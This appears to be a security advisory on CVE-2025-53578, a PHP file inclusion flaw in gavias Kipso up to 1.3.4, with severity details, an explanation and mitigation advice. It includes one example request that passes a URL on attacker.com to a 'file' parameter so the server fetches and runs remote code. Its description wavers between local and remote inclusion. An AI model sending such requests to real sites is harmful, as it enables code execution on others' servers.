Overview
The latest in a string of high-severity vulnerabilities, CVE-2025-53578, is an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ (also known as ‘PHP Remote File Inclusion’) vulnerability. This flaw, found in gavias Kipso, permits PHP Local File Inclusion, thus creating an opening for potential system compromise or data leakage.
Dealing with a CVSS Severity Score of 8.1, it’s crucial for organisations using gavias Kipso up to and including version 1.3.4 to understand the implications of this vulnerability, its potential effect on their systems, and the steps they can take to mitigate its risks.
Vulnerability Summary
CVE ID: CVE-2025-53578
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
gavias Kipso | up to 1.3.4
How the Exploit Works
The exploit takes advantage of a flaw in the way gavias Kipso processes PHP Include/Require statements. If an attacker can manipulate the filename used in these statements, they can potentially include local files or remote files from a malicious server. Once included, these files will be executed in the context of the application, which could lead to unauthorized access, data leakage, or even a complete system compromise.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited using a HTTP request:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker is manipulating the ‘file’ parameter in the URL to include a PHP file from a remote server. This file could contain malicious code that would then be executed by the server.
Mitigation and Fixes
Users of gavias Kipso are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, it is also recommended to use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. These systems can help detect and block attempts to exploit this vulnerability.
Regular updates and patches are the first line of defense against vulnerabilities like CVE-2025-53578. It is crucial to have a robust and proactive cybersecurity strategy that includes regular software updates and continuous monitoring for unusual activity.
